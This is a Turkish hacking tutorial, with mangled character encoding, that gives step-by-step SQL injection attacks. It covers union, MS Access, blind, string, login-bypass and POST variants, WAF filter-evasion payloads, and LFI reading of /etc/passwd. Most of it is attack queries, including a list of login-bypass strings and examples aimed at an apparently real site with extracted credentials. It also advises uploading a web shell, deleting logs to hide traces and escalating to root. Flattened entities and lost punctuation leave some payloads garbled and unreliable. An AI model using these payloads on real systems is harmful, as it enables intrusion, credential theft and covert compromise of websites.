11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

